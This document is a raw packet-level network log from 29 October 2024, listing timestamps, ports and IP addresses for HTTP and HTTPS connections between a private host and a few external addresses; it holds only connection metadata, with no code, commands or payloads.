Oct 29, 2024 20:36:31.043241978 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.043251991 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.043265104 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.043273926 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.043291092 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.043329954 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.055674076 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.055710077 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.055720091 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.055736065 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.055747032 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.055757999 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.055761099 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.055813074 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.056056976 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.056101084 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.056111097 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.056112051 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.056142092 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.056164026 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.056164980 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.056176901 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.056186914 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.056215048 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.056237936 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.056737900 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.056786060 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.056791067 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.056797981 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.056833029 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.056854010 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.056874037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.056894064 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.056905985 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.056920052 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.056932926 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.056957960 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.056989908 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.057001114 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.057034969 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.057058096 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.057179928 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.057223082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.057231903 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.057235003 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.057271004 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.057286978 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.057322979 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.057358027 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.057360888 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.057368994 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.057393074 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.057415009 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.057447910 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.057460070 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.057471037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.057480097 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.057499886 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.057523966 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.057532072 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.057542086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.057568073 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.057578087 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.057807922 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.057854891 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.057861090 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.057868004 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.057890892 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.057904005 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.057938099 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.057949066 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.057984114 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.057993889 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.058149099 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.058196068 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.058197021 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.058207989 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.058227062 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.058248997 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.058298111 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.058310032 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.058320999 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.058332920 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.058352947 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.058378935 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.058422089 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.058432102 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.058464050 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.058492899 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.058774948 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.058805943 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.058830023 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.058844090 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.100651026 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.100663900 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.100737095 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.100811005 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.100853920 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.100862026 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.100872993 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.100898027 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.100920916 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.100944042 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.100955963 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.100967884 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.100994110 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.101010084 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.101027966 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.101058006 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.101068974 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.101099968 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.101491928 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.101540089 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.101543903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.101555109 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.101578951 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.101589918 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.101602077 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.101620913 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.101622105 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.101633072 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.101728916 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.101774931 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.101818085 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.101839066 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.101850033 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.101885080 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.101887941 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.101896048 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.101906061 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.101917028 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.101937056 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.149477959 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.149502039 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.149513960 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.149544954 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:31.149588108 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:31.149641991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:33.350358963 CET	443	49988	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:33.350469112 CET	443	49988	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:33.350532055 CET	49988	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:33.358825922 CET	49988	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:33.358856916 CET	443	49988	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:33.408092022 CET	49984	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:33.408464909 CET	49989	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:33.414302111 CET	80	49989	185.215.113.43	192.168.2.7
Oct 29, 2024 20:36:33.414347887 CET	80	49984	185.215.113.43	192.168.2.7
Oct 29, 2024 20:36:33.414386988 CET	49989	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:33.414407015 CET	49984	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:33.414602041 CET	49989	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:33.420001984 CET	80	49989	185.215.113.43	192.168.2.7
Oct 29, 2024 20:36:33.546174049 CET	49990	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:33.546232939 CET	443	49990	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:33.546304941 CET	49990	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:33.546653032 CET	49990	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:33.546668053 CET	443	49990	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:34.172710896 CET	443	49990	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:34.172830105 CET	49990	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:34.206196070 CET	49990	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:34.206223965 CET	443	49990	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:34.206526041 CET	443	49990	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:34.207714081 CET	49990	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:34.207859993 CET	49990	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:34.207880974 CET	443	49990	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:34.207923889 CET	49990	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:34.207927942 CET	443	49990	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:34.317291975 CET	80	49989	185.215.113.43	192.168.2.7
Oct 29, 2024 20:36:34.317353010 CET	49989	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:34.332758904 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:34.333235979 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:34.339163065 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:34.339246988 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:34.339324951 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:34.339472055 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:34.341969013 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:34.347786903 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:34.790635109 CET	443	49990	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:34.790739059 CET	443	49990	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:34.790833950 CET	49990	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:34.791038036 CET	49990	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:34.791055918 CET	443	49990	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:35.260052919 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.260113001 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.260215044 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.260253906 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.260257006 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.260293007 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.260298967 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.260298967 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.260358095 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.260359049 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.260392904 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.260410070 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.260426998 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.260440111 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.260462046 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.260469913 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.260495901 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.260509968 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.260612011 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.265652895 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.265690088 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.265723944 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.265762091 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.265830040 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.417743921 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.417757034 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.417862892 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.417872906 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.417920113 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.417920113 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.418021917 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.418032885 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.418044090 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.418113947 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.418113947 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.418569088 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.418623924 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.418718100 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.418719053 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.418751955 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.418780088 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.418786049 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.418837070 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.418837070 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.419399023 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.419459105 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.419498920 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.419533014 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.419549942 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.419564962 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.419608116 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.419608116 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.420361042 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.420401096 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.420434952 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.420516014 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.420530081 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.420563936 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.420598984 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.420614004 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.421344995 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.422327995 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.423250914 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.423290968 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.423330069 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.423357964 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.575968027 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576009989 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576066971 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576103926 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576138973 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576143980 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.576143980 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.576176882 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576210976 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576220989 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.576221943 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.576266050 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.576267958 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576302052 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576338053 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576363087 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.576397896 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.576421022 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576507092 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576539993 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576554060 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.576585054 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.576591969 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576621056 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576740980 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.576761961 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576814890 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576849937 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576858997 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.576858997 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.576886892 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576920986 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.576927900 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.576927900 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.576984882 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.577225924 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.577260017 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.577347040 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.577377081 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.577378988 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.577433109 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.577439070 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.577477932 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.577528954 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.577539921 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.577564001 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.577579021 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.577596903 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.577631950 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.577641964 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.577682972 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.577718019 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.577750921 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.577785015 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.577801943 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.577837944 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.577837944 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.578227043 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.578274012 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.578283072 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.578316927 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.578351021 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.578361988 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.578387022 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.578437090 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.578438997 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.578471899 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.578475952 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.578506947 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.578541994 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.578576088 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.578593016 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.578593016 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.578610897 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.578644037 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.578656912 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.579154015 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.579189062 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.579226971 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.579262018 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.579263926 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.579263926 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.580229998 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.581854105 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.581938982 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.733597040 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.733659983 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.733697891 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.733728886 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.733762980 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.733815908 CET	80	49991	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:35.733814955 CET	49991	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:35.733814955 CET	49991	80	192.168.2.7	185.215.113.16
